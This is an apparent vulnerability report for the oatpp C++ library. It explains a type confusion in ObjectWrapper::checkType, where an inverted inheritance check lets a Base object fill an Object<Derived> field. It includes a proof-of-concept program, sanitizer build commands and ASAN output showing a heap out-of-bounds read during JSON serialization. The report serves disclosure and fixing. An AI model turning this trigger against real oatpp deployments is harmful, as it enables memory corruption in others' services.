#1103·oatpp

Type confusion in 'ObjectWrapper::checkType'

Author: 2rr0r4o3Created Aug 24, 2026Updated Aug 24, 2026

Summary

checkType is the guard that ObjectWrapper::operator= runs before overwriting a wrapper's pointer. It asks whether destination type extends the source type, which is backwards. it is that the check accepts exactly the unsafe direction and rejects the safe one: an Object<Base> value is accepted into an Object<Derived> field, while Object<Derived> into Object<Base> throws. The assignment copies m_ptr and leaves m_valueType alone, so the field ends up tagged Derived while pointing at a Base allocation, and the JSON serializer then walks Derived's property table over it.

Details

checkType (src/oatpp/data/type/Type.hpp:570):

570    void ObjectWrapper<T, Clazz>::checkType(const Type* _this, const Type* other) {
571      if(!_this->extends(other)) {
572        throw std::runtime_error("[oatpp::data::type::ObjectWrapper::checkType()]: Error. "
573                                 "Type mismatch: stored '" + std::string(_this->classId.name) + "' vs "
574                                 "assigned '" + std::string(other->classId.name) + "'.");
575      }
576    }

The only caller that matters is operator= (Type.hpp:193), which passes destination first:

193    inline ObjectWrapper& operator=(const ObjectWrapper& other){
194      checkType(m_valueType, other.m_valueType);
195      m_ptr = other.m_ptr;
196      return *this;
197    }

so _this is the slot being written and other is the incoming value. _this->extends(other) therefore means "is the destination a subtype of the source", which is the condition for a downcast, not for a safe assignment.

Type::extends walks the parent chain (Type.cpp):

       bool Type::extends(const Type* other) const {
         const Type* curr = this;
         while(curr != nullptr) {
           if(curr == other) return true;
           curr = curr->parent;
         }
         return false;
       }

and parent is inheritance for DTOs. DTO_INIT(Derived, Base) sets it, and the header says so at Type.hpp:469: ("setting parent type also means that child object can be statically casted to parent type without any violations." )So this is an inheritance relation check that has its operands swapped, not a bespoke tag comparison.

operator= does not touch m_valueType. That is deliberate for the intended (upcast) case, where the declared type is the more general one and should be preserved. With the direction inverted it becomes the bug: the wrapper keeps the Derived tag while m_ptr now points at a Base. Everything downstream trusts the tag. ObjectToTreeMapper::mapObject pulls the property list from it (ObjectToTreeMapper.cpp:259) and reads each field through it (:272), which for a Derived with more fields than Base runs off the end of the Base allocation.

Two other guards in the tree have the same inversion. ObjectWrapper::cast at Type.hpp:559 and Bundle::get at Bundle.hpp:71 and are reported separately. Any::retrieve (Any.cpp:73) is the one place that gets it right: m_ptr->type->extends(type), actual extends requested.

PoC

poc_ObjectWrapper_checkType.cpp:

cpp
class Base : public oatpp::DTO {
  DTO_INIT(Base, DTO)
  DTO_FIELD(String, a);
};
class Derived : public Base {
  DTO_INIT(Derived, Base)
  DTO_FIELD(String, f0);  /* ... f1 .. f9 ... */
};

auto holder = Holder::createShared();           // Holder has one field: Object<Derived> child
auto base   = Base::createShared();             // Base-sized heap block
oatpp::Void baseErased = base;                  // tag = Object<Base>

// Object.hpp:420 hands back ObjectWrapper<void>& onto the `child` field.
// Type.hpp:194 checkType(Object<Derived>, Object<Base>) -> Derived extends Base -> Passes.
// Only m_ptr is overwritten; the field keeps its Object<Derived> tag.
holder[std::string("child")] = baseErased;

oatpp::json::ObjectMapper mapper;
auto json = mapper.writeToString(holder);       // serializer walks Derived's fields over Base

Build and run:

bash
clang++-22 -fsanitize=address,undefined,vptr -fsanitize-recover=all \
  -fno-omit-frame-pointer -frtti -g -O1 -std=c++17 -I<oatpp>/src \
  poc_ObjectWrapper_checkType.cpp liboatpp.a -lpthread -o poc_ObjectWrapper_checkType
ASAN_OPTIONS=halt_on_error=0 UBSAN_OPTIONS=halt_on_error=0 ./poc_ObjectWrapper_checkType

liboatpp.a must be built with the same sanitizer flags. Use -fsanitize-recover=all rather than -fno-sanitize-recover=all.

ASAN output:

==3009049==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7b8c129e0238 ...
READ of size 8 at 0x7b8c129e0238 thread T0
    [...]
    #2 in oatpp::data::type::ObjectWrapper<void, __class::Void>::getPtr() const   src/oatpp/data/type/Type.hpp
    #3 in oatpp::data::type::Void::Void(Void const&)                              src/oatpp/data/type/Type.hpp
    #4 in oatpp::data::type::BaseObject::get(long) const                          src/oatpp/data/type/Object.cpp:39:10
    #5 in oatpp::data::type::BaseObject::Property::get(BaseObject*) const         src/oatpp/data/type/Object.cpp
    #6 in oatpp::data::mapping::ObjectToTreeMapper::mapObject(...)                src/oatpp/data/mapping/ObjectToTreeMapper.cpp
    #7 in oatpp::data::mapping::ObjectToTreeMapper::map(...)                      src/oatpp/data/mapping/ObjectToTreeMapper.cpp
    [...]
0x7b8c129e0238 is located 0 bytes after 56-byte region

Impact

OOB read, and the same mis-tagged wrapper reaches Property::set on the deserialize path. This is a plain inheritance relation issue.